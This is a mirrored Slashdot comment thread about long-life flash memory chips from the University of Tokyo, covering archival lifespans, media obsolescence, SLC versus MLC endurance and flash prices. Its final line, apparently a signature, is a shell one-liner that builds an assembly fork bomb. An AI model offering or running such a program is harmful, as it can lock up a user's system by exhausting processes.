Slashdot Mirror
Japanese Scientists Develop Long-Life Flash Memory
schliz writes "Flash memory chips with a potential lifetime of hundreds of years have been developed by Japanese scientists. The new chips also work at lower voltages than conventional chips, according to the scientists from the University of Tokyo. They are said to be scaleable down to at least 10 nm; current Flash chips wouldn't be usable below 20 nm."
This will be a huge boon to the UMPC form factor. SSDs are still far too expensive, and regular laptop hard drives eat through batteries in a single-digit matter of hours.
Admit it. You post strawman arguments as AC so you get modded Insightful for refuting them, rather than Troll
Archival. Once it's archived you can forget about it. For example, your local library doesn't convert all that old microfilm just because it can. It would only do it to put it onto a more stable storage medium.
I would hardly call 100 years archival. In some exceptional cases its within the memory span of a single human individual.
If we can put a man on the moon, why can't we shoot people for Apollo-related non-sequiturs?
The calendar time isn't important, it's just a headline. The real news is the number of write cycles going from ~10,100 to ~100,000,000 cycles, thereby making it usable in things like swap memory. By marking bad cells, much like bad sectors on hard disks, you also don't have to discard the whole chip if a single cell fails - like you do if a single cell fails in a RAM chip.
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
It's still better than the lifetime of most other electronic storage media. Obviously conservation efforts (i.e. duplication) would have to be made (at it's half life of 50 years I'd guess), but the same applies to film, paper, etc.
The advantage of digital media though is that multiple identical copies can be made, without any loss that can occur when duplicating analogue materials, and the cost of multiple digital copies over an extended period is almost certainly going to be considerably less than the cost of performing restoration and preservation on, for instance, a several hundred year old manuscript.
(Bonus exercise for the reader: Calculate the lifetime of these chips in libraries of congress written!)
+1 "Informative"
That's pretty damned frightening.
... but will there be anything still able to read it in 2108? Even today finding something to read a laserdisk or some old style floppy disks is an issue and thats only 30 year old tech!
It's Domesday, not Doomsday. Judging from Wikipedia, the Domesday Book was, well, kind of like the first British census?
Thanks for the interesting link. One of the things which stuck out was:
Sadly, it is unlikely that Domesday will become available for the general public to use. The contents of the discs are heavily tied up in copyright - parts are owned by the BBC, the Ordinance Survey, and possibly the Local Education Authorities and schools.
Another example of how the inflexibility of copyright strangles reuse and archival of information.
The move where storage is going 'online' will mitigate this to some extent, at the same time it will create a larger problem is something goes wrong with all that online storage.
Storage reminds me of the situation around energy generation. If you all generate your own energy and consume it on the spot then there will be lots of outages, but small ones. If you do it centralized then you get less outages, but *MUCH* larger ones.
I fully expect something similar to happen to online storage, it will seem to be more reliable because on average it will be better than storing your data locally, but when it goes it will go bigtime.
That's when the data recovery guys will have a field day.
MP3 Search Engine
Because currently an SSD will not last the life of your computer. At some stage prior to your processor wearing out, the disk will fail and you will lose data. At the moment, a mechanical HDD is still less likely to fail than an SSD.
We use them here at work in firewall applicances and I've so far yet to see an SSD last for longer than one year when the disk is used heavily to log network traffic. SSDs are absolutely rubbish for high usage (high read/write cycles). If you made one into a Usenet server for example, I doubt it would last a month.
Long life SSDs would also make the ultimate backup medium.
> I would hardly call 100 years archival
You might not, but everyone else certainly does.
What do you think "archive" folders in Outlook are for? Emails older than 100 years?
Many companies archive financial records, which are then permanently destroyed after 5 or 10 years. There is very little you'd want to archive for much longer than this in the business world. Archived data is simply anything you don't foresee needing to use again. Even if you last used it last week - you might as well archive it if you know you're probably not going to need it again.
I've got no idea why you're comparing archiving data to human memory. No human can remember every single byte of every backed up file on their PC for even one minute - let alone 100 years. I assume that bit is simply flamebait as it's a ridiculously stupid comparison.
...Or, considering that Moses was 80 years old at the time, and was supposed to show these commandments to an entire nation from a mountain top, maybe God was just smart enough to use a LARGE FONT.
Because that 4MB chip is the only MRAM chip currently produced that's commercially available. 4MB. This isn't 1992 any more. That's not impressive :)
come back with the 65,536 commandments.
Somebody hasn't read Leviticus or Deuteronomy.
Regular flash works just fine for swap. If you write nonstop at top speed to a standard chip, you'll wear I'd out in about fifty years. Thus I don't understand why we should care about an even longer lifetime.
That used to be true with SLC chips. It's not true with MLC.
http://www.storagesearch.com/ssd-slc-mlc-notes.html
It's a simple matter to plug new data for MLCs into the calculation I did for the worst case wear-out process for flash SSDs - which I called the Rogue Data Recorder.
Instead of the 64GB example I used then, I'll assume the MLC SSD has 128GB capacity. MLC SSDs have more capacity than SLC. And more capacity means longer operating life - before cells wear out.
I'll still use the 80M bytes / sec sustained write speed - because the fastest MLC products (in Feb 2008) can already do that. (Meanwhile the fastest SLC products have moved up in the world and are about 50% faster.)
The next factor is where we hit the big problem... Instead of a write endurance rating of 2 million cycles (for the best SLC) - I can only use a figure of 10,000 for MLC. MLC has a much lower rating due to the complex interaction of discriminating multiple logic levels reliably coupled with the intrinsic failure mechanism of wear-out.
Plugging these numbers in the same calculation gives an estimated MLC flash SSD operating life (at max write throughput) which is 6 months! (instead of 51 years for a 64GB SLC SSD).
All the affordable SSDs I've seen from Intel and Samsung are based on MLC flash because it costs much less per bit. Down to $2 per GB in fact. SLC currently costs 2-4x as much. E.g.
Here are the average prices for flash
32Gb 4Gx8 MLC 9.27
16Gb 2Gx8 SLC 15.61
16Gb 2Gx8 MLC 3.97
8Gb 1Gx8 SLC 6.31
8Gb 1Gx8 MLC 2.34
SLC is 2.7x more expensive for 1Gx8 and 3.9x more expensive for 2Gx8. So it's not surprising that most SSDs are MLC based. But if you write at full speed to them they will die very quickly.
Incidentally look at the price of 4Gx8 MLC. $2.31 per gigabyte. Pretty damn cheap.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;